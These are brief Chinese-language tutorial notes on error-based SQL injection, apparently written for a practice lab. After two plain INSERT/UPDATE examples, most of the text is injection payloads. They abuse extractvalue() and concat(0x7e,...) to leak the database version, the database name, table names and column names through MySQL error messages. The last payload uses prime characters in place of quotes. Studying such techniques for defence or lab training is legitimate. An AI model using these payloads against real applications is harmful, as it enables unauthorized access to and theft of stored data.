insert into user (id,name,pass) values(1,'zhangsan','1234')
update更新数据
update user set pwd='p' where id=1
基于报错的SQL盲注-报错回显(强制性报错)
extractvalue(第一个参数,第二个参数)
第一个参数:为XML文档对象名称
第二个参数:为第一个参数为错时,就执行第二个参数
查看回显信息
czh' order by 3 %23
%23:等价于#
说明有二列字段
查看版本信息
czh' union select 1,extractvalue(1,concat(0x7e,(select version()),0x7e))%23
extractvalue(XML名称,错误回显)
concat():字符拼接
0x7e:等价于~
查看当前数据库
czh' union select 1,extractvalue(1,concat(0x7e,(select database()),0x7e))%23
查看当前数据库的表
czh' union select 1,extractvalue(1,concat(0x7e,(select table_name
from information_schema.tables
where table_schema='security' limit 0,1 ),0x7e ))%23
limit 0,1:第一个索引下,取1个字符
查看当前数据库的字段
czh′ union select 1,extractvalue(1,concat(0x7e,(
select group_concat(column_name)
from information_schema.columns
where table_schema=′security′ and table_name=′users′),0x7e))%23